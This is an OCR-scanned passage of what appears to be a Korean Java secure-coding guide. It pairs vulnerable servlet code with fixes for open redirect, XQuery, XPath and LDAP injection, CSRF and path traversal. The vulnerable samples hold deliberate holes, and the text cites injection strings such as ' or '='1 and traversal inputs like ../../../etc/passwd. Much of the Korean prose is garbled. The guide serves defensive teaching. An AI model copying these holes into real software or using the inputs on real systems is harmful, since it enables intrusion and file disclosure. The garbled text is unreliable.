private final String OPEN_SUBPAGE_SHORTCUT_COMMAND = "read_writing';
private final String SHORTCUT_ID_PARAM = "writing_id";

private final String TITLE_ PARAM = "title";

private final String URL_PARAM = "url";

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws
ServletException, IOException

{

String command = request.getParameter("command");

// Sub page®| shortcuts 5=

if (command.equals(REGISTER_SUBPAGE_SHORTCUT_COMMAND))

{
shortcutInfo.id = request.getParameter(SHORTCUT_ID_PARAM);
shortcutInfo.title = request.getParameter(TITLE_PARAM);
shortcutinfo.url = request.getParameter(URL_PARAM);

registerShortcut(shortcutnfo);

// shortcuts clickd}H sub page® ©|%
if (command.equals(OPEN_SUBPAGE_SHORTCUT_COMMAND))

{
String shortcutld = request.getParameter(SHORTCUT_ID_PARAM);

ShortcutInfo shortcutinfo = readShortcut(shortcutld);
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48:

49: response.sendResponse(shortcutInfo.url);
50:

51: }

52:

53: }

54:

55}

ATY URL F4F SRolH we 29, 5188 URLY SriglEe] sfoe)aus] 9] o
N ABHEE Fo=H ofelzel AolE HTE ZUHOE AT + Ik

Sl
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1:  import java.io.File;
2:  import java.io.FileInputStream; >
3:  import java.io.IOException; Hu
4:  import java.net. URLDecoder; ﬁ
5:  import java.sql.Connection; on
6:  import java.sqlStatement; )
7:  import java.util. HashSet; Igﬂ
8:  import java.util. Hashtable;
9:  import java.util.Set;
10:  import java.util.regex.Matcher;
11:  import java.util.regex.Pattern;
12:
13:  import javax.servlet.ServletException;
14:  import javax.servlet.http.Cookie;
15 import javax.servlet.http.HttpServlet;
16:  import javax.servlet.http.HttpServletRequest;
17:  import javax.servlethttp.HttpServletResponse;
18:
19:  import _022_Open_Redirect.before.Shortcutlnfo;
20:
21:  public class IndexService extends HittpServlet
22: |
23: private  final String REGISTER_SUBPAGE_SHORTCUT_COMMAND =
"register_sub_page";
24: private final String OPEN_SUBPAGE_SHORTCUT_COMMAND = "read_writing";
25: private final String SHORTCUT_ID_PARAM = "writing_id";
26: private final String TITLE PARAM = "title";
27: private final String URL_PARAM = "url’;
28:
29: private Set<String> allowedUrls;
30:
31: public IndexService()
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32: {

33: allowedUrls = new HashSet<String>();

34: allowedUrls.add("http:/ /www.site.com/subpagel.html");

35: allowedUrls.add("http:/ /www.site.com/subpage2.html");

36: allowedUrls.add("http:/ /www.site.com/subpage3.html");

37:

38: }

39:

40:

41: protected void doPost(HttpServletRequest request, HttpServletResponse response) throws
ServletException, IOException

42: {

43: String command = request.getParameter("command");

44:

45:

46: // Sub page®] shortcuts 55

47: if (command.equals(REGISTER_ SUBPAGE_SHORTCUT _COMMAND))

48: {

49: shortcutinfo.id = request.getParameter(SHORTCUT_ID_PARAM);

50: shortcutInfo.title = request.getParameter(TITLE_PARAM);

51: shortcutinfo.url = request.getParameter(URL_PARAM);

52:

53: registerShortcut(shortcutInfo);

54:

55: }

56:

57 // shortcuts clickd}® sub page® ©l&

58: if (command.equals(OPEN_SUBPAGE_SHORTCUT_COMMAND))

59: {

60: String shortcutld = request.getParameter(SHORTCUT_ID_PARAM);

61:

62: ShortcutInfo shortcutinfo = readShortcut(shortcutld);

63:

64: if (allowedUrls.contains(shortcutInfo.url) == false)

65: {

66: // Error 2]

67: return;

68: }

69: response.sendResponse(shortcutInfo.url);

70:

71: }

72:

73: }

74:

75: }
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[1] CWE-601 URL Redirection to Untrusted Site(Open Redirect)
http:/ /cwe.mitre.org/data/ definitions/601.html
[2] 2010 OWASP Top 10 - A10 Unvalidated Redirects and Forward
https:/ /www.owasp.org/index.php/Top_10_2010-A10
[3] 2011 SANS Top 25 - RANK 22 (CWE-601), http://cwe.mitre.org/top25/
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7. XQuery A} (Failure to Sanitize Data within XQuery Expressions,
XQuery injection)

7% A9

XQuery® AHE3tel XML Hlolgol t@ 54 AES A4T ) AgsE 9% 9
ol thal HAW AFPA 2AA @oB FAA} AR TEE Y2 WA
S Q7 Bk ol2 Q3 S/t ghe HolEE XIRAY AFAAE $3T F Yok

. ¢kAZ Y71y
" XQueryel AHEEE 9% glgdlolele] it E4EA 9 A ojofol2 TE YT,
XQueryE AH3 AR e 2EZS AAsE R FASA ¥ AxktetvE)skE
A TS Ag3ih

1=
9] dAle 979 9 (name)@-S executeQuerys A3 AoJAH ol A 1At
Aol Abgskar Qltk whd thE3 something’ or '='1 & name®] o2 HGsH thi
I e RS FYT F gloH, o]F T3 #Y o] RE @& 2EE + A =

7=

o}, (doc(‘users.xml’)/userlist/user[uname="something’ or

1T e

2 // S5E FE Es B

3: String name = props.getProperty("name");

4: Hashtable env = new Hashtable();

5: env.put(Context. INITIAL CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");

6: env.put(Context. PROVIDER_URL, "ldap:/ /localhost:389/o=rootDir");

7: javax.naming.directory.DirContext ctx = new InitialDirContext(env);

8: javax.xml.xquery.XQDataSource xqds = (javax.xml.xquery.XQDataSource)  ctx.look-
up('xqj/personnel");

9: javax.xml.xquery.XQConnection conn = xqds.getConnection();

10:

11: String es = "doc("users.xml’)/userlist/user[uname=" + name + "]";

12: // BEFke] Xquery ] UAZ AR

13: XQPreparedExpression expr = conn.prepareExpression(es);

14: XQResultSequence result = expr.executeQuery();
15: while (result.next())

16: {

17: String str = result.getAtomicValue();
18: if (str.indexOf(">") < 0)

19: {

20: System.out. printIn(str);

21: }

2. e
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// 9%z B dEe we

2
3 String name = props.getProperty("name");

4: Hashtable env = new Hashtable();

5: env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
6

7

8

Sl

env.put(Context. PROVIDER_URL, "ldap:/ /localhost:389/o=rootDir");
javax.naming.directory.DirContext ctx = new InitialDirContext(env);

javax.xml.xquery.XQDataSource xqds = (javax.xml.xquery.XQDataSource)  ctx.look-
up("xqj/ personnel");
9: javax.xml.xquery.XQConnection conn = xqds.getConnection();
10:
11: String es = "doc('users.xml’)/ userlist/ user[uname="$xpathname’]";

12: // d8@kol Xquerye] AR A
13 XQPreparedExpression expr = conn.prepareExpression(es);

Slolc BEElY

14: expr.bindString(new QName("xpathname"), name, null);
15: XQResultSequence result = expr.executeQuery();
16: while (result.next())

17: {

18: String str = result.getAtomicValue();
19: if (str.indexOf(">") < 0)

20: {

21: System.out. println(str);

22: }

23, e

o dAeAE EA ofoldlel Hu] 71A-g Yole 9tt itemldel ../buying_price
/item0012 7S ¥ =E3tH, doc('items.xml’)/items/ price/buying_price/item001-S 2 ]Z <

2 A9 AR 2L 5HE VHAA @tk ole 54 oleldlo Tl spAS dobs £ 3
Al Hol, ¥8kA] &+ HEI7 =EHTh

<?xml version="1.0"?>

N

&
>

<items>

<selling_price>
<iem001>100</iem001>
<iem(002>150</iem001>

1

2

3 .

4:  <price>
5

6

7
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34

43:

45:
46:
47:
48:
49:

51:

</selling_price>
<buying_price>
<iem001>50</iem001>
<iem(002>140</iem001>

</buying_price>
</price>

</items>

public class Service extends HttpServlet

{
private final String COMMAND_PARAM = "command';

// Command 3 2]
private final String GET_ITEM_PRICE = "get_item_price";

private final String ITEM_ID = "item_id";

private XQDataSource xgs;

private XQConnection conn;

public Service()
{

xqs = new SednaXQDataSource();
xgs.setProperty("serverName", "localhost");
xgs.setProperty("databaseName", "test");

conn = xqs.getConnection("SYSTEM", "MANAGER");

}

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws
ServletException, IOException

{
String command = request.getParameter(COMMAND_PARAM);

if (command.equals(GET_ITEM_PRICE))
{

String itemld = request.getParameter(ITEM_ID);

XQExpression xqe = conn.createExpression();

<« H1E
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String xqueryString = "doc('items.xml’)/items/price/selling price/" + itemld;

XQResultSequence 15 = xqe.executeQuery(xqueryString);

9] AN = T4 S she iAol A& PrepareExpression 2 FH] 5
< %, 4= @S& ol PrepareExpression] 48ttt o|FHA s AoEel] Wi &
1 grol oJal HeoFe] Tx7b wilE

H
502 o)olA ol Ak webd A
Xel

B AT 7=9] ¢ - JAVA

WOAT i

26:

27:
28:

public class Service extends HttpServlet

private final String COMMAND_PARAM = "command";

// Command #H <]

private final String GET_ITEM_PRICE = "get_item_price";

private final String ITEM_ID = "item_id";

private XQDataSource xqs;
private XQConnection conn;

private XQPrepareExpression xqe;

public Service()
{

xgs = new SednaXQDataSource();
xgs.setProperty("serverName", "localhost");
xgs.setProperty("databaseName", "test");

conn = xqs.getConnection("SYSTEM", "MANAGER");
String xqueryString = "doc(‘items.xml’)/items/price/selling_price/’$itemId’;

xge = conn.prepareExpression(xqueryString);

}

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws

ServletException, IOException
{

String command = request.getParameter(COMMAND_PARAM);

M1

=K
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29:

30: if (command.equals(GET_ITEM_PRICE))

31: {

32: String itemld = request.getParameter(ITEM_ID);
33:

34: xqe.bindString(new QName("itemId"), itemlId, null);
35: XQResultSequence rs = xqge.executeQuery();

36:

37 }

38:

39: }

40:

41: }

2 1 74
[1] CWE-652 Improper Neutralization of Data within XQuery Expressions(XQuery Injection),
http:/ /cwe.mitre.org/data/definitions/652.html
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8. XPath 4t %(Failure to Sanitize Data within XPath Expressions, XPath

injection)

9% Qeighe AR A flol XPath AT AL AT BALE A8, B
AR Z2adesl ossd gokd BAGe ddsle] e ojnE sh2AAAL
O PxE WD Yool AeE HYstel Qs g HolHE 4B & Utk

=
N
EEE o
Xpath2HE OIS . Xpath &2
B was3d
L) ™ z
; 3u
2 A WAS stringl//users 2
[loginiD/text0 oY
=0r 1" =71 o
and pw/text0 N
= " +pW.test+™ ] =)
= In
SHME
<1 2-7> XPath 4%}
. HASE Y71
= Xpath Fgol AH&5= 95 dulolEdl tisty] E4EA(, [ ], /, = @ 5) 2 FAz
[e]

ool B & st AASHE A2lES A8k XQueryE ARSI

o} oA
o2 oAl nameo FOE userl, passwd® FHOE S or V=S WIIH S
22 Aolio] AAE JIFHAA L AXA ¢ 2T F QUrh

(//users/user[login/text()="userl’ or ""="" and password/text() = “ or "="]/home_dir/text())

T e
2 /) AR R Qe ws

3: String name = props.getProperty("name");

4: String passwd = props.getProperty("password");
5. e

6: XPathFactory factory = XPathFactory.newlnstance();

7: XPath xpath = factory.newXPath();

g e
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38

< A1

10:
11:
12:

14:
15:
16:
17:
18:
19:
20:
21:

// S dEol xpathe] JAE AR
XPathExpression expr = xpath.compile("//users/user[login/text()="" + name
+ " and password/text() = " + passwd + "]/home_dir/text()");

Object result = expr.evaluate(doc, XPathConstants. NODESET);
NodeList nodes = (NodeList) result;
for (int i = 0; i < nodes.getLength(); i++)
{

String value = nodes.item(i).getNodeValue();

if (value.indexOf(">") < 0)

{

System.out. println(value);

teo] dAlel 2ol AnshE el E
HRHT ool AR AAY

[e]
e

& 9o

B dAF 7=9] ¢ - JAVA

1:
2:
3:

_ e

-
=

dologin.xp ¥

declare variable $loginID as xs:string external;
declare variable $password as xs:string external;
/ /users/user|[@loginlD=$loginID and @password=$password]

XQueryE ©]&3g XPath Injection ¥4

// SIRE FE d4Ee v
String name = props.getProperty("name");
String passwd = props.getProperty("password");

Document doc = new Builder().build("users.xml");

// XQueryE 913 AR 24

XQuery xquery = new XQueryFactory().createXQuery(new File("dologin.xq"));
Map vars = new HashMap();
vars.put("loginID", name);
vars.put("password", passwd);

Nodes results = xquery.execute(doc, null, vars).toNodes();
for (int i=0; i < results.size(); i++)

{

System.out. printIn(results.get(i).toXML());
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cheol clAlel A S1%e] e TR o] el XPath WolEE AHHT YUtk

1:  import java.io.lOException;
2:  import java.sql.Connection;
3:  import java.sql.Statement;
4:  import java.util.regex. Matcher;
5:  import java.util.regex Pattern;
6:
7:  import javax.servlet.ServletException; >
8:  import javax.servlet.annotation.WebServlet; :
9:  import javax.servlet.http.HttpServlet; ox
10:  import javax.servlet.http.HttpServletRequest;
11:  import javax.servlethttp.HttpServletResponse;
12:  import javax.xml.soap.Node;
13:  import javax.xml.xpath. XPath; =
14:  import javax.xml.xpath. XPathConstants; g
15 import javax.xml.xpath. XPathExpression; kU
16:  import javax.xml.xpath. XPathFactory; oo
17: —Z'
18 /™ n
19:  * Servlet implementation class Sqllnjection
20.  */
21:
22:  public class XPathSample extends HttpServlet
23: |
24: private final String GET_USER_INFO_CMD = "get_user_info";
25: private final String USER_ID_PARM = "user_id";
26: private final String USER INFO_TYPE_PARM = '"user_info_type";
27:
28: private final static int MAX_USER_ID_LENGTH = 8;
29: private final static int MAX_USERINFO_TYPE_LENGTH = 8;
30: // select, delete, update, insert & 7| o9} A, =AE AL O E EAES
AEshs A
31: private  final static  String  UNSECURED_CHAR_REGULAR_EXPRESSION =
"T"\\p{Alnumj]';
32:
33: private Pattern unsecuredCharPattern;
34:
35: public void initialize()
36: {
37: unsecuredCharPattern=Pattern.compile(UNSECURED_CHAR_REGULAR_EXPRESSION,
Pattern.CASE_INSENSITIVE);
38:
39: }

H1E Y=OolE 45 % #el »» 39
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40:

41: protected void doPost(HttpServletRequest request, HttpServletResponse response) throws
ServletException, IOException

42: {

43: String command = request.getParameter("command");

44: if (command.equals(GET_USER_INFO_CMD))

45: {

46: XPathFactory factory = XPathFactory.newlInstance();

47: XPath xpath = factory.newXPath();

48:

49: String userld = request.getParameter(USER_ID_PARM);

50: String userInfoType = request.getParameter(USER_INFO_TYPE_PARM);

51:

52: XPathExpression pathExpression = xpath.compile("//public_info/users/" + userld +
"/" + userInfoType + "/text()" );

53: Node result = (Node)pathExpression.evaluate(userInfoData, XPathConstants.NODE);

54:

55: response.getOutputStream(). println(result.getNodeValue());

56:

57: }

58:

59: }

60:

61: }

el elAlsh o] XPathol AHESHE 9% Qeighe Fo|EAES ol 8% WY
o] WEE Bal AAS FAF F Aol Bk,

B aHg 7=9 o - JAVA

1:  import java.io.IOException;

2:  import java.sql.Connection;

3:  import java.sql.Statement;

4:  import java.util.regex.Matcher;

5:  import java.util.regex.Pattern;

6:

7:  import javax.servlet.ServletException;

8: import javax.servlet.annotation.WebServlet;
9:  import javax.servlet.http.HttpServlet;

10:  import javax.servlet.http.HttpServletRequest;
11:  import javax.servlethttp.HttpServletResponse;
12:  import javax.xml.soap.Node;

13:  import javax.xml.xpath.XPath;

14:  import javax.xml.xpath. XPathConstants;

15:  import javax.xml.xpath. XPathExpression;
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16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:

31:

32:
33:
34:
35:
36:

38:

39:
40:
41:
42:
43:
44:
45:
46:
47
48:
49:

50:
51:
52:
53:
54:
55:
56:

import javax.xml.xpath.XPathFactory;

/‘k*
* Servlet implementation class Sqllnjection

*/

public class XPathSample extends HttpServlet

{
private final String GET_USER_INFO_CMD = "get_user_info";
private final String USER_ID_PARM = "user_id";
private final String USER_INFO_TYPE_PARM = '"user_info_type";

private final static int MAX_USER_ID_LENGTH = §;

private final static int MAX_USERINFO_TYPE_LENGTH = 8;

// select, delete, update, insert & 7| oo} &, =AE AT bhE A=
A& A2

private  final static  String ~ UNSECURED_CHAR_REGULAR_EXPRESSION =
"M\\p{AlInum}]";

o

private Pattern unsecuredCharPattern;

public void initialize()
{
unsecuredCharPattern = Pattern
.compile(UNSECURED_CHAR_REGULAR_EXPRESSION,
Pattern.CASE_INSENSITIVE);

}
private String makeSecureString(final String str, int maxLength)
{
String secureStr = str.substring(0, maxLength);
Matcher matcher = unsecuredCharPattern.matcher(secureStr);
return matcher.replaceAll("");

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws
ServletException, IOException
{
String command = request.getParameter("command");
if (command.equals(GET_USER_INFO_CMD))
{
XPathFactory factory = XPathFactory newlnstance();
XPath xpath = factory.newXPath();

Hi1ZE Y=OolE 45 % ®
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57: String userld = request.getParameter(USER_ID_PARM);

58: userld = makeSecureString(userld, MAX_USER_ID_LENGTH);

59: String userInfoType = request.getParameter(USER_INFO_TYPE_PARM);

60: userInfoType = makeSecureString(userInfoType, MAX_USERINFO_TYPE_LENGTH);

61:

62: XPathExpression pathExpression = xpath.compile("//public_info/users/" + userld +
"/" + userInfoType + "/text()" );

63: Node result = (Node)pathExpression.evaluate(userInfoData, XPathConstants.NODE);

64:

65: response.getOutputStream(). println(result.getNodeValue());

66:

67: }

68:

69: }

70:

71}

2k 3 £
[1] CWE-643 Improper Neutralization of Data within XPath Expressions(XPath Injection),
http:/ /cwe.mitre.org/ data/definitions/643.html
[2] Web Application Security Consortium. "XPath Injection".
http:/ /www.webappsec.org/ projects/ threat/ classes/xpath_injection.shtml
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9. LDAP 4r%](Improper Neutralization of Special Elements used in an
LDAP Query, LDAP Injection)

7t 7§9]
AR} 95 AHS B4 o EalH 92 LDAP W ol 2 s
ii:’—%ﬂ AL AFRE AES SntEA AelekA 2shd, 34 LDAP ¥R E
°of AL viE T Atk ol& ]l ZEA2IL WY AP AXIES} T AT
(authentication)& 7}A 1L F4stA HTh

LDAP 7|2l&olu} Aol 2% Qgo] RpH o AW Aeiglol AL 1, LDAP 72
wol AaE W FAAE LDAP %o WES whetiE WAY & ook

Sl

NORMAL OPERATION

Normal QUERY

il g

—~—

LDAP Injection

(Normal QUERY] + LDAP

Injection Code
ﬁ B [QUERY) + “" =>3FA &}
2l S+ FIHH
HELE

33Tt LDhP Mt

Slolc BEElY

I.DAPMHl

<71% 2-8> LDAP ¢

sAel g 24k glo) 9% Q1S LDAP Aolo] 4ol Aga qrath,
= DN} Bl AL A8 Aol SREAL 2 G SREAE A

EFEAE AgHo S 49 EFEADNY A§HE SREAE ), Dol
BT SREA=, 4 < > # 5\ 5ol DN ATRGe] ohd YEAT 1415

k. A
tgel dAlE 9%e) ¢ mame)o] FAe 1% BE AL Aol ALHT YTk
o] 7% name We] gow W AW A9 P FALL (name=7} Ho T4 F
o] HH ol oEaA e EAL FuE & ok
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1:  Properties props = new Properties();

2:  String fileName = "ldap.properties";

3:  FileInputStream in = new FileInputStream(fileName);

4:  props.load(in);

5. String name = props.getProperty("name");

6:  String filter = "(name =" + name + ")";

7 NamingEnumeration answer=
ctx.search("ou=NewHires" filter,new SearchControls());
printSearchEnumeration(answer);
ctx.close();

AN A% e BALR AGHE 9% dPelA FF BAAL AA% 90

e REAoR anD 5 A

<3

B aAEF Z=9 o - JAVA
Properties props = new Properties();

String fileName = "ldap.properties';

FileInputStream in = new FileInputStream(fileName);

if (in == null || in.available() <= 0) return;

props.load(in);

if (props == null || props.isEmpty()) return;

String name = props.getProperty("name");

if (name == null || "".equals(name)) return;

String filter = "(name =" + name.replace All("\\*", "") + ")";

10:  NamingEnumeration answer = ctx.search("ou=NewHires", filter, new SearchControls());

O P2 N gl

11:  printSearchEnumeration(answer);
12:  ctx.close();

2t Fa £
[1] CWE-90 Improper Neutralization of Special Elements used in an LDAP Query(LDAP
Injection), http://cwe.mitre.org/data/definitions/90.html
[2] 2010 OWASP Top 10 - Al - Injection
https:/ /www.owasp.org/index.php/Top_10_2010-A1
[3] SPI Dynamics. "Web Applications and LDAP Injection".
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10. A2 2AOJE 8% 9] Z(Cross-Site Request Forgery)

7
54 8 AbolEol tisiA ARATE AAEA R &

37 BAA} 5T YU, A, 52 HE AR e BAE %w}. %
gAoldo] AHEARRE W 2 A teiM AREAL o=7 tE APEI AF
AA FAstA eke A B Jhssta 53] T AEATE BEA A
e, AAE A, AR S5 5 BA ddeEd £ Thsd TS
e APAd 5 A dok
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o
i)
Y

A AHEATE /ISR AAde]l 54 SEe FHslE A& fAE HA
A HIRGEQ] 84S FESHA Kehe He o&ste] Jsrt AR €Y
Aol a4&
AL o]’ AH7F GET WAoo Addntd 34
<= o=y e Ade 8A4D A Aok

A7 okol

B

CSRF 34 1A= S8 CSRF Script

IStE HIOIX 23

=
-

© CSRFOll ©IoH
Victim Hgte=
A2 Jbs8t
MHIA QX

Response e
(CSRF
Script e

AHE X}

<I¥ 29> AZXAIE 84 9F

5 W4 Boks POST 418 AH§3ta Qs
2233 Aolo] E2E ALgstel, 34| 2442l URL A
APk 53 F4% 715l telAE AL8A ARAE Bl Al

Ho]E]S URL Hol ©

e d + B9 HEshr] wEol GET 84
AREEE A gro]l =EFHEE CSRF 340 44 =22 +

Atk

Hi1ZE Y=OolE 45 % ®

o
>
>
obor

T 3o

O]B_

2Q9xa]

AIE A5, A 20 AW AF3) Astel AgsE gro] LYo
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1T e
2:  <form name="MyForm" method="get" action="customer.do">
3:  <input type=text name="txt1">

4:  <input type=submit value="®u]7]">

5. </form>

6 e

1.  <form name="MyForm" method="post" action="customer.do">
2:  <input type=text name="txt1">
3:  <input type=submit value="}¥1}}7]">
4. </form>
Z FuEd

1

[

CWE-352 Cross-Site Request Forgery(CSREF),
http:/ /cwe.mitre.org/data/ definitions/352.html

[2] 2010 OWASP Top 10 - A5 Cross-Site Request Forgery(CSRF),
https:/ /www.owasp.org/index.php/Top_10_2010-A5
[3] 2011 SANS Top 25 - RANK 12 (CWE-352), http://cwe.mitre.org/top25/
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11. 9FHE d=Z ZZ(Path Traversal)
UelEe Az zae 2 A, A Ouee 42 2408 i & ok $4 A
gyEe Z2 22 oigk HgHS AuE & Ao vdEy A2 2Zo] s 49
Sk

11-1. 4] dFAHE] H2 ZZ(Relative Path Traversal)

>
7} A o
915 o] 9l¥e Esdle] “taHe AR 2497 Aol ad A%, 9% Jeztel tis) o

AR 2Ao) A" 5 A= BAE FEHYSRA o, oy %4 d: A ggol g

A% BAY Fol FedA ALY ARTE, ANA B 5E BU AL+ ULk 5
A 24% BAA FAA} 854 ge DAL HEstel, WA WAR AL WA

¥ 5 AL HANY F Uk T
H
. kAR 297 oo
» Sl dE) A9 AAOISE PYHE 45 F UES U WA 4 48 e
e 49, 0E UedEe) A 42T 5 YES replaceAll) $o) WAEE A§H in
o 9% BRAC/NE AASE BHE AANES Do
9% Qg WolEols, WAL AHel: vle FoAFe volHE AgHES 17
Atk F, 1ol A wobEel ol F vlg RoF Aol AE ASuE BF FAFE
= @k
=

2150l Y (name)o] AT FY] A2HA AEEI Utk BHY FAA] o))
name®] #LO=E ././.frootFiletxto} 22 Fhs AD3tH =317 &YW o] A= Al

T e
2:  public void accessFile(Properties request)

3|

g e

5: String name = request.getProperty("filename");

6 if( name != null )

7 {

8 File file = new File("/ust/local/tmp/" + name);
9: file.delete();

10: }

11 e

12}

Hi1ZE Y=OolE 45 % ®

ret
v

47



Java A|7}0{3Y 7I0|E e

ool dHEE froll thete] 'd ARE A=slar, 2FelA JHE= 3 o]E(name)ol A
& A48T F =S replaceAllE ©] 83t SFEA

ANAZ(, \\, & . 5 EFEAD
A A g

Bl o343 229 o - JAVA

e

1
2:  public void accessFile(Properties request)

3 |

4 e

5: String name = request.getProperty('user");

6: if ( name != null && !"".equals(name) )

7 {

8: name = name.replaceAll("/", "");

9: name = name.replaceAll("\\", "");

10: name = name.replaceAll(".", "");

11: name = name.replaceAll("&", "");

12: name = name + "-report";

13: File file = new File("/usr/local/tmp/" + name);
14: if (file != null) file.delete();

15: }

16. e

17:  }

g22] dAlol A= request.getParameter() 2 £ F-olA 31U HZE fileNameol WolEd],

g 2ol IS ¢l Atk Tk fileNameZ ./././passwd <}

Aok A|z=Ee] e vdo] HId o s THeAol At

22 FAEo] d9H

1:  import java.io.File;

2:  import java.io.FilelnputStream;

3:  import java.io.IOException;

4:  import java.net. URLDecoder;

5 import java.sql.Connection;

6:  import java.sql.Statement;

7:  import java.util.regex.Matcher;

8:  import java.util.regex.Pattern;

9:

10:  import javax.servlet.ServletException;

11:  import javax.servlet.http.HttpServlet;

12:  import javax.servlet.http.HttpServletRequest;
13:  import javax.servlet.http.HttpServletResponse;
14:

15:  /**

16:  * Servlet implementation class Sqllnjection

48 <« HM1E ALY HS & HEod
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7. */

18:

19:  public class DocumentService extends HttpServlet

20: |

21: private final String READ_DOCUMENT = "read_document";

22: private final String USER_ID_PARAM = "user_id";

23: private final String FILE NAME PARAM = '"file_name";

24: private final int BUFFER_SIZE = 256;

25:

26: protected void doPost(HttpServletRequest request, HttpServletResponse response) throws
ServletException, IOException

27: {

28: String command = request.getParameter("command");

29:

30:

31: if (command.equals(READ_DOCUMENT))

32: {

33: String userld = request.getParameter(USER_ID_PARAM);

34: String fileName = request.getParameter(FILE_NAME_PARAM);

35:

36: byte [] buffer = new byte [BUFFER_SIZE];

37: FileInputStream inputStream = new FilelnputStream(fileName);

38: inputStream.read (buffer);

39:

40: }

41:

42: }

43:

4. '}

of e} oAl

A AR A 2 F2E A £ e WEshke =vt dddnk
A Q) FA] PRk Hlo]E] Z(userHomePath + fileName)E 7HA3l Y& ‘501
docFile2 AA3Fth 1 tha docFile®] At Z 23S dold T (getAbsolutePath()) ©

< 9 YHEL file”d Z(userHomePath) ¢} ¥lwste] 2] ¢foH 3tYd-g A &3hA| %J_
:’—EHE ZEAN2E THITL

J

=
ks
iR

< f
o

o] W& ./ ./ fetefpasswd®t 22 FA FE7F JYFPOT FolA= A dEE Y
AR FAFETL accessshE filed] AAAQ A BEIF AZ FHAE AS 085y,
A998 Y A=mo| kAgE ATt ol
AEke Y ¢ /. /. Jetc/passwd (BEE ../../../etc)
AA access@ FY : Jetc/passwd (HEE /etc)

Hi1E Y=oolE HE & #3 »
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B 343 Z=9 9 - JAVA

NN N N R R R s e e e e e

24:

25:

27:
28:
29:
30:

import java.io.File;

import java.io.FilelnputStream;
import java.io.IOException;
import java.net. URLDecoder;
import java.sql.Connection;
import java.sql.Statement;
import java.util.regex.Matcher;

import java.util.regex.Pattern;

import javax.servlet.ServletException;

import javax.servlet.http.HttpServlet;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class DocumentService extends HttpServlet

{
private final String READ_DOCUMENT = "read_document";
private final String USER_ID_PARAM = "user_id";
private final String FILE_ NAME_PARAM = "file_name";
private final int BUFFER_SIZE = 256;

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws
ServletException, IOException

{

String command = request.getParameter("command");

if (command.equals(READ_DOCUMENT))

{
String userld = request.getParameter(USER_ID_PARAM);
String fileName = request.getParameter(FILE_NAME_PARAM);
fileName = URLDecoder.decode(fileName);

String userHomePath = getUserHomeDir(userld);

File docFile = new File(userHomePath + fileName);

String filePath = docFile.getAbsolutePath();

if (userHomePath.equals(filePath.substring(0, userHomePath.length()))==false)
{

// Error *|E]

return;

<« H1E

Yol A48 & #H
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44: }

45: byte [] buffer = new byte [BUFFER_SIZE];

46: FileInputStream inputStream = new FileInputStream(filePath);
47: inputStream.read(buffer);

48:

49: }

50:

51: }

52:

53:. '}

Sl

2. 1 &4
[1] CWE-23 Relative Path Traversal, http://cwe.mitre.org/data/definitions/23.html
[2] CWE-22 Improper Limitation of a Pathname to a Restricted Directory(Path Traversal)
http:/ /cwe.mitre.org/data/ definitions/22.html
[3] 2010 OWASP Top 10 - A4 Insecure Direct Object Reference,
https:/ /www.owasp.org/index.php/Top_10_2010-A4
[4] 2011 SANS Top 25 - Rank 13 (CWE-22), http://cwe.mitre.org/top25/
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11-2. A yAHE ZFZE ZZ(Absolute Path Traversal)

7 A4

9% Yol WY AxEle AT AZE AW AT & AAY 9%

=
ARk $EEE Pl ARAL Axd Y wE AW DL ATAAL 9RT
[e)

2 9
Ptk AgA Yol B Axw Aol AgHE ARE Aodsts AL g, F
o

Hol EAGT. F AR 2R FHA FAN} HEHA e AR YIS, 4

WAL HAS WA 5 A ABAD & ok,

Y. SEAZ 971y
n 9No] QS E3 HUo|2o A B HIE FHE3A 2, 9 YHo) whet A
89 HYo| frEdA Adste® zz a8 Fgsks Zo] nlgysit

theol dAlol At 95e] Yd(userd) o2 FH AF HAe AHSA HE A9

o FUelBE AY WS F UES o] o], ThE Yol F2Zo| AL o=
e 3ol w29 4+ Utk

1:  import java.io.File;

2:  import java.io.FileInputStreamy;

3:  import java.io.IOException;

4:  import java.net.URLDecoder;

5. import java.sql.Connection;

6:  import java.sql.Statement;

7:  import java.util. Hashtable;

8:  import java.util.regex.Matcher;

9:  import java.util.regex.Pattern;

10:

11:  import javax.servlet.ServletException;

12:  import javax.servlethttp.HttpServlet;

13:  import javax.servlet.http.HttpServletRequest;

14:  import javax.servlethttp.HttpServletResponse;

15:

16:  public class DocumentService extends HttpServlet

17: |

18: private final String APPLY_STYPLE_ COMMAND = "apply_style";

19: private final String USER_ID_PARAM = "user_id";

20: private final String STYLE_FILE NAME PARAM = "styple_file name";

21: private final int BUFFER SIZE = 256;

22:

23: protected void doPost(HttpServletRequest request, HttpServletResponse response) throws
ServletException, IOException

24: {

25: String command = request.getParameter("command");

rek



26:
27:
28: if (command.equals(APPLY_STYPLE COMMAND))
29: {
30: String userld = request.getParameter(USER_ID_PARAM);
31: String styleFileName = request.getParameter(STYLE_FILE_NAME_PARAM);
32:
33: String userHomePath = getUserHomeDir(userld);
34:
35: byte [] buffer = new byte [BUFFER_SIZE];
36: FilelnputStream  inputStream = new FileInputStream(userHomePath + style-
FileName);
37: inputStream.read (buffer);
38:
39: }
40:
41: }
42:
43: }
thee] oAl A= 9He| Qe (userdD) O RE] S We T WA 1AL ol H
7l styleFileNames®} w7 AA A2 st o= gtEth 1 5 A= 34 ¢k
3 7 ARE WE T AL AAET Yok oAl JEwe e Y e @O
2 wEo] Agstel AHY A% YA AL FAW omsA we IAL Ao
WA 5 oo,
B 3AF 7=9] 9 - JAVA
1:  import java.io.File;
2:  import java.io.FileInputStreamy;
3:  import java.io.IOException;
4:  import java.net. URLDecoder;
5:  import java.sql.Connection;
6:  import java.sgl.Statement;
7:  import java.util. Hashtable;
8:  import java.util.regex.Matcher;
9:  import java.util.regex.Pattern;
10:
11:  import javax.servlet.ServletException;
12:  import javax.servlet.http.HttpServlet;
13:  import javax.servlet.http.HttpServletRequest;
14:  import javax.servlet.http.HttpServletResponse;
15:
16:  public class DocumentService extends HttpServlet
170 {
18: private final String APPLY_STYPLE_COMMAND = "apply_style";
19: private final String USER_ID_PARAM = "user_id";
